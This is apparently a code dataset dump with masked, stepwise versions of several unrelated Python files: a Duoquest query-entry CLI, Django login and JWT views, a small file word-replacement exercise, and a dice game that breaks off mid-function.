limit\n\n\ndef input_tsq_types(num_cols):\n while True:\n types_input = input('Types (`text` or `number`, comma separated)> ')\n types = list(map(lambda x: x.strip(), types_input.split(',')))\n if any(map(lambda x: x not in ('text', 'number'), types)):\n print('Types must be `text` or `number`')\n continue\n if len(types) != num_cols:\n print('Number of types must match number of columns.')\n continue\n break\n return types\n\n\ndef input_tsq_row_count():\n tsq_row_count = 0\n while True:\n tsq_row_count_input = input('Number of TSQ rows (int) > ')\n try:\n tsq_row_count = int(tsq_row_count_input)\n break\n except Exception as e:\n print('int only!')\n return tsq_row_count\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef input_db_name(conn):\n while True:\n db_name = input('Database name (default: concert_singer) > ')\n if not db_name:\n db_name = 'concert_singer'\n cur = conn.cursor()\n cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,))\n if cur.fetchone():\n break\n else:\n print(f'<{db_name}> is not a valid database.')\n return db_name\n\n\ndef input_nlq():\n nlq = input('NLQ (default: How many singers are there?)> ')\n if not nlq:\n nlq = 'How many singers are there?'\n return nlq\n\n\ndef input_num_cols():\n while True:\n num_cols = input('Number of columns > ')\n try:\n num_cols = int(num_cols)\n break\n except Exception as e:\n print('Number of columns should be integer!')\n return num_cols\n\n\n<mask token>\n\n\ndef input_limit():\n limit = None\n while True:\n limit_input = input('Limit results to n tuples? (int or blank) > ')\n if not limit_input:\n break\n try:\n limit = int(limit_input)\n break\n except Exception as e:\n print('int or blank only!')\n return limit\n\n\ndef input_tsq_types(num_cols):\n while True:\n types_input = input('Types (`text` or `number`, comma separated)> ')\n types = list(map(lambda x: x.strip(), types_input.split(',')))\n if any(map(lambda x: x not in ('text', 'number'), types)):\n print('Types must be `text` or `number`')\n continue\n if len(types) != num_cols:\n print('Number of types must match number of columns.')\n continue\n break\n return types\n\n\ndef input_tsq_row_count():\n tsq_row_count = 0\n while True:\n tsq_row_count_input = input('Number of TSQ rows (int) > ')\n try:\n tsq_row_count = int(tsq_row_count_input)\n break\n except Exception as e:\n print('int only!')\n return tsq_row_count\n\n\ndef input_tsq_row(row_num, tsq_types):\n while True:\n row_input = input(f'Row {row_num} (semicolon-separated values) > ')\n tsq_row = list(map(lambda x: x.strip(), row_input.split(';')))\n validated = True\n for i, cell in enumerate(tsq_row):\n if tsq_types[i] == 'number':\n try:\n float(cell)\n except Exception as e:\n print('At least one cell value is invalid.')\n validated = False\n break\n if validated:\n break\n return tsq_row\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef input_db_name(conn):\n while True:\n db_name = input('Database name (default: concert_singer) > ')\n if not db_name:\n db_name = 'concert_singer'\n cur = conn.cursor()\n cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,))\n if cur.fetchone():\n break\n else:\n print(f'<{db_name}> is not a valid database.')\n return db_name\n\n\ndef input_nlq():\n nlq = input('NLQ (default: How many singers are there?)> ')\n if not nlq:\n nlq = 'How many singers are there?'\n return nlq\n\n\ndef input_num_cols():\n while True:\n num_cols = input('Number of columns > ')\n try:\n num_cols = int(num_cols)\n break\n except Exception as e:\n print('Number of columns should be integer!')\n return num_cols\n\n\ndef input_order():\n ordered = False\n while True:\n order_input = input('Should results be ordered? (y/n) > ')\n if order_input == 'y':\n ordered = True\n break\n elif order_input == 'n':\n break\n else:\n print('y/n only!')\n return ordered\n\n\ndef input_limit():\n limit = None\n while True:\n limit_input = input('Limit results to n tuples? (int or blank) > ')\n if not limit_input:\n break\n try:\n limit = int(limit_input)\n break\n except Exception as e:\n print('int or blank only!')\n return limit\n\n\ndef input_tsq_types(num_cols):\n while True:\n types_input = input('Types (`text` or `number`, comma separated)> ')\n types = list(map(lambda x: x.strip(), types_input.split(',')))\n if any(map(lambda x: x not in ('text', 'number'), types)):\n print('Types must be `text` or `number`')\n continue\n if len(types) != num_cols:\n print('Number of types must match number of columns.')\n continue\n break\n return types\n\n\ndef input_tsq_row_count():\n tsq_row_count = 0\n while True:\n tsq_row_count_input = input('Number of TSQ rows (int) > ')\n try:\n tsq_row_count = int(tsq_row_count_input)\n break\n except Exception as e:\n print('int only!')\n return tsq_row_count\n\n\ndef input_tsq_row(row_num, tsq_types):\n while True:\n row_input = input(f'Row {row_num} (semicolon-separated values) > ')\n tsq_row = list(map(lambda x: x.strip(), row_input.split(';')))\n validated = True\n for i, cell in enumerate(tsq_row):\n if tsq_types[i] == 'number':\n try:\n float(cell)\n except Exception as e:\n print('At least one cell value is invalid.')\n validated = False\n break\n if validated:\n break\n return tsq_row\n\n\n<mask token>\n", "step-4": "import configparser\nimport sqlite3\nimport time\nimport uuid\nfrom duoquest.tsq import TableSketchQuery\n\n\ndef input_db_name(conn):\n while True:\n db_name = input('Database name (default: concert_singer) > ')\n if not db_name:\n db_name = 'concert_singer'\n cur = conn.cursor()\n cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,))\n if cur.fetchone():\n break\n else:\n print(f'<{db_name}> is not a valid database.')\n return db_name\n\n\ndef input_nlq():\n nlq = input('NLQ (default: How many singers are there?)> ')\n if not nlq:\n nlq = 'How many singers are there?'\n return nlq\n\n\ndef input_num_cols():\n while True:\n num_cols = input('Number of columns > ')\n try:\n num_cols = int(num_cols)\n break\n except Exception as e:\n print('Number of columns should be integer!')\n return num_cols\n\n\ndef input_order():\n ordered = False\n while True:\n order_input = input('Should results be ordered? (y/n) > ')\n if order_input == 'y':\n ordered = True\n break\n elif order_input == 'n':\n break\n else:\n print('y/n only!')\n return ordered\n\n\ndef input_limit():\n limit = None\n while True:\n limit_input = input('Limit results to n tuples? (int or blank) > ')\n if not limit_input:\n break\n try:\n limit = int(limit_input)\n break\n except Exception as e:\n print('int or blank only!')\n return limit\n\n\ndef input_tsq_types(num_cols):\n while True:\n types_input = input('Types (`text` or `number`, comma separated)> ')\n types = list(map(lambda x: x.strip(), types_input.split(',')))\n if any(map(lambda x: x not in ('text', 'number'), types)):\n print('Types must be `text` or `number`')\n continue\n if len(types) != num_cols:\n print('Number of types must match number of columns.')\n continue\n break\n return types\n\n\ndef input_tsq_row_count():\n tsq_row_count = 0\n while True:\n tsq_row_count_input = input('Number of TSQ rows (int) > ')\n try:\n tsq_row_count = int(tsq_row_count_input)\n break\n except Exception as e:\n print('int only!')\n return tsq_row_count\n\n\ndef input_tsq_row(row_num, tsq_types):\n while True:\n row_input = input(f'Row {row_num} (semicolon-separated values) > ')\n tsq_row = list(map(lambda x: x.strip(), row_input.split(';')))\n validated = True\n for i, cell in enumerate(tsq_row):\n if tsq_types[i] == 'number':\n try:\n float(cell)\n except Exception as e:\n print('At least one cell value is invalid.')\n validated = False\n break\n if validated:\n break\n return tsq_row\n\n\ndef main():\n config = configparser.ConfigParser()\n config.read('config.ini')\n db_path = config['db']['path']\n conn = sqlite3.connect(db_path)\n db_name = input_db_name(conn)\n nlq = input_nlq()\n num_cols = input_num_cols()\n tsq = TableSketchQuery(num_cols)\n tsq.types = input_tsq_types(num_cols)\n tsq_row_count = input_tsq_row_count()\n for i in range(tsq_row_count):\n tsq.values.append(input_tsq_row(i + 1, tsq.types))\n tsq.order = input_order()\n tsq.limit = input_limit()\n print(tsq.to_proto())\n cur = conn.cursor()\n cur.execute(\n \"\"\"INSERT INTO tasks (tid, db, nlq, tsq_proto, status, time)\n VALUES (?, ?, ?, ?, ?, ?)\"\"\"\n , (str(uuid.uuid4()), db_name, nlq, tsq.to_proto().\n SerializeToString(), 'waiting', int(time.time())))\n conn.commit()\n conn.close()\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "import configparser\nimport sqlite3\nimport time\nimport uuid\n\nfrom duoquest.tsq import TableSketchQuery\n\ndef input_db_name(conn):\n while True:\n db_name = input('Database name (default: concert_singer) > ')\n if not db_name:\n db_name = 'concert_singer'\n cur = conn.cursor()\n\n cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,))\n if cur.fetchone():\n break\n else:\n print(f'<{db_name}> is not a valid database.')\n return db_name\n\ndef input_nlq():\n nlq = input('NLQ (default: How many singers are there?)> ')\n if not nlq:\n nlq = 'How many singers are there?'\n return nlq\n\ndef input_num_cols():\n while True:\n num_cols = input('Number of columns > ')\n try:\n num_cols = int(num_cols)\n break\n except Exception as e:\n print('Number of columns should be integer!')\n return num_cols\n\ndef input_order():\n ordered = False\n while True:\n order_input = input('Should results be ordered? (y/n) > ')\n if order_input == 'y':\n ordered = True\n break\n elif order_input == 'n':\n break\n else:\n print('y/n only!')\n return ordered\n\ndef input_limit():\n limit = None\n while True:\n limit_input = input('Limit results to n tuples? (int or blank) > ')\n if not limit_input:\n break\n try:\n limit = int(limit_input)\n break\n except Exception as e:\n print('int or blank only!')\n return limit\n\ndef input_tsq_types(num_cols):\n while True:\n types_input = input('Types (`text` or `number`, comma separated)> ')\n types = list(map(lambda x: x.strip(), types_input.split(',')))\n\n if any(map(lambda x: x not in ('text', 'number'), types)):\n print('Types must be `text` or `number`')\n continue\n\n if len(types) != num_cols:\n print('Number of types must match number of columns.')\n continue\n break\n\n return types\n\ndef input_tsq_row_count():\n tsq_row_count = 0\n while True:\n tsq_row_count_input = input('Number of TSQ rows (int) > ')\n try:\n tsq_row_count = int(tsq_row_count_input)\n break\n except Exception as e:\n print('int only!')\n return tsq_row_count\n\ndef input_tsq_row(row_num, tsq_types):\n while True:\n row_input = input(f'Row {row_num} (semicolon-separated values) > ')\n tsq_row = list(map(lambda x: x.strip(), row_input.split(';')))\n\n validated = True\n for i, cell in enumerate(tsq_row):\n if tsq_types[i] == 'number':\n try:\n float(cell)\n except Exception as e:\n print('At least one cell value is invalid.')\n validated = False\n break\n if validated:\n break\n\n return tsq_row\n\ndef main():\n config = configparser.ConfigParser()\n config.read('config.ini')\n db_path = config['db']['path']\n\n conn = sqlite3.connect(db_path)\n\n db_name = input_db_name(conn)\n nlq = input_nlq()\n num_cols = input_num_cols()\n\n tsq = TableSketchQuery(num_cols)\n\n tsq.types = input_tsq_types(num_cols)\n\n tsq_row_count = input_tsq_row_count()\n for i in range(tsq_row_count):\n tsq.values.append(input_tsq_row(i+1, tsq.types))\n\n tsq.order = input_order()\n tsq.limit = input_limit()\n\n print(tsq.to_proto())\n\n cur = conn.cursor()\n cur.execute('''INSERT INTO tasks (tid, db, nlq, tsq_proto, status, time)\n VALUES (?, ?, ?, ?, ?, ?)''',\n (str(uuid.uuid4()), db_name, nlq,\n tsq.to_proto().SerializeToString(), 'waiting',\n int(time.time())))\n conn.commit()\n conn.close()\n\nif __name__ == '__main__':\n main()\n", "step-ids": [ 6, 7, 8, 11, 12 ] }

[ 6, 7, 8, 11, 12 ]

import os from datetime import datetime, timedelta from django.shortcuts import render from django.utils.decorators import method_decorator from rest_framework.viewsets import GenericViewSet, mixins from common.jwt_util import generate_jwt from .serializers import ApiUser, ApiUserSerializer, UserSerializer from common.myresponse import StatusResponse from rest_framework.generics import GenericAPIView from .models import User from common.utils.login_util import login_decorator # Create your views here. @method_decorator(login_decorator,name="list") class UsersOptionsView(GenericViewSet, mixins.ListModelMixin): """ list: 返回用户列表 """ serializer_class = ApiUserSerializer queryset = User.objects.filter(is_superuser=0,is_active=1).all() def list(self, request, *args, **kwargs): return StatusResponse(data=super().list(request).data) class UserLoginView(GenericAPIView): def _generate_tokens(self, user_id, with_refresh_token=True): """ 生成token 和refresh_token :param user_id: 用户id :return: token, refresh_token """ # 颁发JWT now = datetime.utcnow() expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS'])) token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry) refresh_token = None if with_refresh_token: refresh_expiry = now + timedelta(days=float(os.environ['JWT_REFRESH_DAYS'])) refresh_token = generate_jwt({'user_id': user_id, 'refresh': True}, refresh_expiry) return token, refresh_token def post(self, request): username = request.data.get("username") password = request.data.get("password") try: user = User.objects.get(username=username) except User.DoesNotExist as e: return StatusResponse(http_code=400,data={"tip": "用户不存在"}) if user is not None and user.check_password(password): token, refresh_token = self._generate_tokens(user.id, with_refresh_token=True) data = { "token": token, "refresh_token": refresh_token, "id": user.id, "username": user.username } response = StatusResponse(data=data, http_code=201) return response return StatusResponse(http_code=400,data={"tip":"登录失败"}) def put(self,request): if request.user_id and request.refresh: token,refresh_token = self._generate_tokens(request.user_id, with_refresh_token=False) data ={ "id":request.user_id, "token":token } response = StatusResponse(data=data, http_code=201) return response else: return StatusResponse(http_code=401, data={"tip": "token刷新失败"}) class UserRegistView(GenericAPIView): serializer_class = UserSerializer def post(self, request): serializer = self.get_serializer(data=request.data) serializer.is_valid(raise_exception=True) serializer.save() return StatusResponse(http_code=200,data=serializer.data)

normal

{ "blob_id": "0457ac2ecd0a951b0088c887539ab696797d68bc", "index": 4557, "step-1": "<mask token>\n\n\nclass UserLoginView(GenericAPIView):\n\n def _generate_tokens(self, user_id, with_refresh_token=True):\n \"\"\"\n 生成token 和refresh_token\n :param user_id: 用户id\n :return: token, refresh_token\n \"\"\"\n now = datetime.utcnow()\n expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS']))\n token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry)\n refresh_token = None\n if with_refresh_token:\n refresh_expiry = now + timedelta(days=float(os.environ[\n 'JWT_REFRESH_DAYS']))\n refresh_token = generate_jwt({'user_id': user_id, 'refresh': \n True}, refresh_expiry)\n return token, refresh_token\n\n def post(self, request):\n username = request.data.get('username')\n password = request.data.get('password')\n try:\n user = User.objects.get(username=username)\n except User.DoesNotExist as e:\n return StatusResponse(http_code=400, data={'tip': '用户不存在'})\n if user is not None and user.check_password(password):\n token, refresh_token = self._generate_tokens(user.id,\n with_refresh_token=True)\n data = {'token': token, 'refresh_token': refresh_token, 'id':\n user.id, 'username': user.username}\n response = StatusResponse(data=data, http_code=201)\n return response\n return StatusResponse(http_code=400, data={'tip': '登录失败'})\n\n def put(self, request):\n if request.user_id and request.refresh:\n token, refresh_token = self._generate_tokens(request.user_id,\n with_refresh_token=False)\n data = {'id': request.user_id, 'token': token}\n response = StatusResponse(data=data, http_code=201)\n return response\n else:\n return StatusResponse(http_code=401, data={'tip': 'token刷新失败'})\n\n\nclass UserRegistView(GenericAPIView):\n serializer_class = UserSerializer\n\n def post(self, request):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return StatusResponse(http_code=200, data=serializer.data)\n", "step-2": "<mask token>\n\n\n@method_decorator(login_decorator, name='list')\nclass UsersOptionsView(GenericViewSet, mixins.ListModelMixin):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass UserLoginView(GenericAPIView):\n\n def _generate_tokens(self, user_id, with_refresh_token=True):\n \"\"\"\n 生成token 和refresh_token\n :param user_id: 用户id\n :return: token, refresh_token\n \"\"\"\n now = datetime.utcnow()\n expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS']))\n token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry)\n refresh_token = None\n if with_refresh_token:\n refresh_expiry = now + timedelta(days=float(os.environ[\n 'JWT_REFRESH_DAYS']))\n refresh_token = generate_jwt({'user_id': user_id, 'refresh': \n True}, refresh_expiry)\n return token, refresh_token\n\n def post(self, request):\n username = request.data.get('username')\n password = request.data.get('password')\n try:\n user = User.objects.get(username=username)\n except User.DoesNotExist as e:\n return StatusResponse(http_code=400, data={'tip': '用户不存在'})\n if user is not None and user.check_password(password):\n token, refresh_token = self._generate_tokens(user.id,\n with_refresh_token=True)\n data = {'token': token, 'refresh_token': refresh_token, 'id':\n user.id, 'username': user.username}\n response = StatusResponse(data=data, http_code=201)\n return response\n return StatusResponse(http_code=400, data={'tip': '登录失败'})\n\n def put(self, request):\n if request.user_id and request.refresh:\n token, refresh_token = self._generate_tokens(request.user_id,\n with_refresh_token=False)\n data = {'id': request.user_id, 'token': token}\n response = StatusResponse(data=data, http_code=201)\n return response\n else:\n return StatusResponse(http_code=401, data={'tip': 'token刷新失败'})\n\n\nclass UserRegistView(GenericAPIView):\n serializer_class = UserSerializer\n\n def post(self, request):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return StatusResponse(http_code=200, data=serializer.data)\n", "step-3": "<mask token>\n\n\n@method_decorator(login_decorator, name='list')\nclass UsersOptionsView(GenericViewSet, mixins.ListModelMixin):\n <mask token>\n serializer_class = ApiUserSerializer\n queryset = User.objects.filter(is_superuser=0, is_active=1).all()\n\n def list(self, request, *args, **kwargs):\n return StatusResponse(data=super().list(request).data)\n\n\nclass UserLoginView(GenericAPIView):\n\n def _generate_tokens(self, user_id, with_refresh_token=True):\n \"\"\"\n 生成token 和refresh_token\n :param user_id: 用户id\n :return: token, refresh_token\n \"\"\"\n now = datetime.utcnow()\n expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS']))\n token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry)\n refresh_token = None\n if with_refresh_token:\n refresh_expiry = now + timedelta(days=float(os.environ[\n 'JWT_REFRESH_DAYS']))\n refresh_token = generate_jwt({'user_id': user_id, 'refresh': \n True}, refresh_expiry)\n return token, refresh_token\n\n def post(self, request):\n username = request.data.get('username')\n password = request.data.get('password')\n try:\n user = User.objects.get(username=username)\n except User.DoesNotExist as e:\n return StatusResponse(http_code=400, data={'tip': '用户不存在'})\n if user is not None and user.check_password(password):\n token, refresh_token = self._generate_tokens(user.id,\n with_refresh_token=True)\n data = {'token': token, 'refresh_token': refresh_token, 'id':\n user.id, 'username': user.username}\n response = StatusResponse(data=data, http_code=201)\n return response\n return StatusResponse(http_code=400, data={'tip': '登录失败'})\n\n def put(self, request):\n if request.user_id and request.refresh:\n token, refresh_token = self._generate_tokens(request.user_id,\n with_refresh_token=False)\n data = {'id': request.user_id, 'token': token}\n response = StatusResponse(data=data, http_code=201)\n return response\n else:\n return StatusResponse(http_code=401, data={'tip': 'token刷新失败'})\n\n\nclass UserRegistView(GenericAPIView):\n serializer_class = UserSerializer\n\n def post(self, request):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return StatusResponse(http_code=200, data=serializer.data)\n", "step-4": "<mask token>\n\n\n@method_decorator(login_decorator, name='list')\nclass UsersOptionsView(GenericViewSet, mixins.ListModelMixin):\n \"\"\"\n list:\n 返回用户列表\n \"\"\"\n serializer_class = ApiUserSerializer\n queryset = User.objects.filter(is_superuser=0, is_active=1).all()\n\n def list(self, request, *args, **kwargs):\n return StatusResponse(data=super().list(request).data)\n\n\nclass UserLoginView(GenericAPIView):\n\n def _generate_tokens(self, user_id, with_refresh_token=True):\n \"\"\"\n 生成token 和refresh_token\n :param user_id: 用户id\n :return: token, refresh_token\n \"\"\"\n now = datetime.utcnow()\n expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS']))\n token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry)\n refresh_token = None\n if with_refresh_token:\n refresh_expiry = now + timedelta(days=float(os.environ[\n 'JWT_REFRESH_DAYS']))\n refresh_token = generate_jwt({'user_id': user_id, 'refresh': \n True}, refresh_expiry)\n return token, refresh_token\n\n def post(self, request):\n username = request.data.get('username')\n password = request.data.get('password')\n try:\n user = User.objects.get(username=username)\n except User.DoesNotExist as e:\n return StatusResponse(http_code=400, data={'tip': '用户不存在'})\n if user is not None and user.check_password(password):\n token, refresh_token = self._generate_tokens(user.id,\n with_refresh_token=True)\n data = {'token': token, 'refresh_token': refresh_token, 'id':\n user.id, 'username': user.username}\n response = StatusResponse(data=data, http_code=201)\n return response\n return StatusResponse(http_code=400, data={'tip': '登录失败'})\n\n def put(self, request):\n if request.user_id and request.refresh:\n token, refresh_token = self._generate_tokens(request.user_id,\n with_refresh_token=False)\n data = {'id': request.user_id, 'token': token}\n response = StatusResponse(data=data, http_code=201)\n return response\n else:\n return StatusResponse(http_code=401, data={'tip': 'token刷新失败'})\n\n\nclass UserRegistView(GenericAPIView):\n serializer_class = UserSerializer\n\n def post(self, request):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return StatusResponse(http_code=200, data=serializer.data)\n", "step-5": "import os\r\nfrom datetime import datetime, timedelta\r\n\r\nfrom django.shortcuts import render\r\nfrom django.utils.decorators import method_decorator\r\nfrom rest_framework.viewsets import GenericViewSet, mixins\r\n\r\nfrom common.jwt_util import generate_jwt\r\nfrom .serializers import ApiUser, ApiUserSerializer, UserSerializer\r\nfrom common.myresponse import StatusResponse\r\nfrom rest_framework.generics import GenericAPIView\r\nfrom .models import User\r\nfrom common.utils.login_util import login_decorator\r\n\r\n\r\n# Create your views here.\r\n\r\n@method_decorator(login_decorator,name=\"list\")\r\nclass UsersOptionsView(GenericViewSet, mixins.ListModelMixin):\r\n \"\"\"\r\n list:\r\n 返回用户列表\r\n \"\"\"\r\n serializer_class = ApiUserSerializer\r\n queryset = User.objects.filter(is_superuser=0,is_active=1).all()\r\n\r\n def list(self, request, *args, **kwargs):\r\n return StatusResponse(data=super().list(request).data)\r\n\r\n\r\n\r\nclass UserLoginView(GenericAPIView):\r\n def _generate_tokens(self, user_id, with_refresh_token=True):\r\n \"\"\"\r\n 生成token 和refresh_token\r\n :param user_id: 用户id\r\n :return: token, refresh_token\r\n \"\"\"\r\n # 颁发JWT\r\n now = datetime.utcnow()\r\n expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS']))\r\n token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry)\r\n\r\n refresh_token = None\r\n if with_refresh_token:\r\n refresh_expiry = now + timedelta(days=float(os.environ['JWT_REFRESH_DAYS']))\r\n refresh_token = generate_jwt({'user_id': user_id, 'refresh': True}, refresh_expiry)\r\n return token, refresh_token\r\n\r\n def post(self, request):\r\n\r\n username = request.data.get(\"username\")\r\n password = request.data.get(\"password\")\r\n try:\r\n user = User.objects.get(username=username)\r\n except User.DoesNotExist as e:\r\n return StatusResponse(http_code=400,data={\"tip\": \"用户不存在\"})\r\n\r\n if user is not None and user.check_password(password):\r\n token, refresh_token = self._generate_tokens(user.id, with_refresh_token=True)\r\n data = {\r\n \"token\": token,\r\n \"refresh_token\": refresh_token,\r\n \"id\": user.id,\r\n \"username\": user.username\r\n }\r\n response = StatusResponse(data=data, http_code=201)\r\n return response\r\n return StatusResponse(http_code=400,data={\"tip\":\"登录失败\"})\r\n def put(self,request):\r\n if request.user_id and request.refresh:\r\n token,refresh_token = self._generate_tokens(request.user_id, with_refresh_token=False)\r\n data ={\r\n \"id\":request.user_id,\r\n \"token\":token\r\n }\r\n response = StatusResponse(data=data, http_code=201)\r\n return response\r\n else:\r\n return StatusResponse(http_code=401, data={\"tip\": \"token刷新失败\"})\r\n\r\nclass UserRegistView(GenericAPIView):\r\n serializer_class = UserSerializer\r\n def post(self, request):\r\n serializer = self.get_serializer(data=request.data)\r\n serializer.is_valid(raise_exception=True)\r\n serializer.save()\r\n return StatusResponse(http_code=200,data=serializer.data)\r\n", "step-ids": [ 7, 8, 10, 11, 13 ] }

[ 7, 8, 10, 11, 13 ]

''' Функція replace() може використовуватися для заміни будь-якого слова у рядку іншим словом. Прочитайте кожен рядок зі створеного у попередньому завданні файлу learning_python.txt і замініть слово Python назвою іншої мови, наприклад C при виведенні на екран. Це завдання написати в окремій функції. ''' def reader(): with open('possibilities.txt', 'r') as file1: file_lines = [x.strip() for x in file1.readlines()] for e in file_lines: n = e.replace('Python', 'C++') print(n) if __name__ == '__main__': reader()

normal

{ "blob_id": "6d80a89a47b68fd8d81739787897355671ca94e9", "index": 5815, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef reader():\n with open('possibilities.txt', 'r') as file1:\n file_lines = [x.strip() for x in file1.readlines()]\n for e in file_lines:\n n = e.replace('Python', 'C++')\n print(n)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef reader():\n with open('possibilities.txt', 'r') as file1:\n file_lines = [x.strip() for x in file1.readlines()]\n for e in file_lines:\n n = e.replace('Python', 'C++')\n print(n)\n\n\nif __name__ == '__main__':\n reader()\n", "step-4": "'''\nФункція replace() може використовуватися для заміни будь-якого слова у рядку іншим словом.\nПрочитайте кожен рядок зі створеного у попередньому завданні файлу learning_python.txt і замініть слово Python назвою іншої мови,\nнаприклад C при виведенні на екран. Це завдання написати в окремій функції.\n'''\n\n\ndef reader():\n with open('possibilities.txt', 'r') as file1:\n file_lines = [x.strip() for x in file1.readlines()]\n for e in file_lines:\n n = e.replace('Python', 'C++')\n print(n)\n\n\nif __name__ == '__main__':\n reader()\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

<|reserved_special_token_0|> def multi(): scc = [6, 5, 4] sc = [6, 5] cc = [5, 4] crew = [4] captain = [5] ship = [6] n = 0 while n <= 2: inp = input('Hit enter to roll') if inp == '': roll5 = random.choices(range(1, 7), k=5) print(roll5) if set(scc).issubset(roll5): result_scc = [i for i in roll5 if not i in scc or scc.remove(i) ] total_scc = sum(result_scc) inp_scc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc == 'both': print('Total score: ' + str(total_scc) + '.') if inp_scc == 'neither': roll2_scc = random.choices(range(1, 7), k=2) print(roll2_scc) inp_scc_none = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc_none == 'both': total_scc_none = sum(roll2_scc) print('Total score: ' + str(total_scc_none) + '.') if inp_scc_none == 'neither': roll2_scc_none = random.choices(range(1, 7), k=2) total_scc_none2 = sum(roll2_scc_none) print(roll2_scc_none) print('Your total score is: ' + str(total_scc_none2 ) + '.') if inp_scc_none == 'one': inp_scc_none_one = input( 'Which die do you want to keep? ') roll1_scc_none_one = random.randint(1, 6) total_scc_none_one = roll1_scc_none_one + int( inp_scc_none_one) print(roll1_scc_none_one) print('Your total score is: ' + str( total_scc_none_one) + '.') if inp_scc == 'one': inp_scc_one = input('Which die do you want to keep? ') roll1_scc_one = random.randint(1, 6) print(roll1_scc_one) total_scc_one = roll1_scc_one + int(inp_scc_one) inp_scc_one2 = input( "Hit enter to roll again or type 'pass' to keep your score " ) if inp_scc_one2 == 'pass': print('Your total score is: ' + str(total_scc_one) + '.') if inp_scc_one2 == '': roll1_scc_one2 = random.randint(1, 6) print(roll1_scc_one2) total_scc_one2 = roll1_scc_one2 + int(inp_scc_one) print('Your total score is: ' + str(total_scc_one2) + '.') if set(sc).issubset(roll5): inp_sc = input( 'Now you need a 4(the Crew). Hit enter to roll the remaining dice' ) if inp_sc == '': roll3 = random.choices(range(1, 7), k=3) print(roll3) if set(crew).issubset(roll3): result_crew = [i for i in roll3 if not i in crew or crew.remove(i)] total_crew = sum(result_crew) inp_crew = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_crew == 'both': print('Total score: ' + str(total_crew) + '.') if inp_crew == 'neither': roll2_crew = random.choices(range(1, 7), k=2) print(roll2_crew) total_crew_none = sum(roll2_crew) print('Your total score is: ' + str( total_crew_none) + '.') if inp_crew == 'one': inp_crew_one = input( 'Which die do you want to keep? ') roll1_crew_one = random.randint(1, 6) print(roll1_crew_one) total_crew_one = roll1_crew_one + int(inp_crew_one) print('Your total score is: ' + str( total_crew_one) + '.') else: inp_sc3 = input('Still no 4. Hit enter to roll again') if inp_sc3 == '': roll3_sc3 = random.choices(range(1, 7), k=3) print(roll3_sc3) if set(crew).issubset(roll3_sc3): result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)] total_crew_sc3 = sum(result_crew_sc3) print('Your total score is: ' + str( total_crew_sc3) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) if set(ship).issubset(roll5) and 5 not in roll5 and n < 2: inp_ship = input( 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice ' ) if inp_ship == '': roll4_ship = random.choices(range(1, 7), k=4) print(roll4_ship) if set(cc).issubset(roll4_ship): result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)] total_ship_cc = sum(result_ship_cc) inp_ship_cc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_ship_cc == 'both': print('Your total is: ' + str(total_ship_cc) + '.') if inp_ship_cc == 'neither': roll2_cc = random.choices(range(1, 7), k=2) print(roll2_cc) total_ship_cc_none = sum(roll2_cc) print('Your total score is: ' + str( total_ship_cc_none) + '.') if inp_ship_cc == 'one': inp_ship_cc_one = input( 'Which die do you want to keep? ') roll1_ship_cc_one = random.randint(1, 6) print(roll1_ship_cc_one) total_ship_cc_one = roll1_ship_cc_one + int( inp_ship_cc_one) print('Your total score is: ' + str( total_ship_cc_one) + '.') if set(captain).issubset(roll4_ship): roll3_captain = random.choices(range(1, 7), k=3) print(roll3_captain) if set(crew).issubset(roll3_captain): result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)] total_ship_captain = sum(result_ship_captain) print('Your total score is: ' + str( total_ship_captain) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) else: n = n + 1 <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def multi(): scc = [6, 5, 4] sc = [6, 5] cc = [5, 4] crew = [4] captain = [5] ship = [6] n = 0 while n <= 2: inp = input('Hit enter to roll') if inp == '': roll5 = random.choices(range(1, 7), k=5) print(roll5) if set(scc).issubset(roll5): result_scc = [i for i in roll5 if not i in scc or scc.remove(i) ] total_scc = sum(result_scc) inp_scc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc == 'both': print('Total score: ' + str(total_scc) + '.') if inp_scc == 'neither': roll2_scc = random.choices(range(1, 7), k=2) print(roll2_scc) inp_scc_none = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc_none == 'both': total_scc_none = 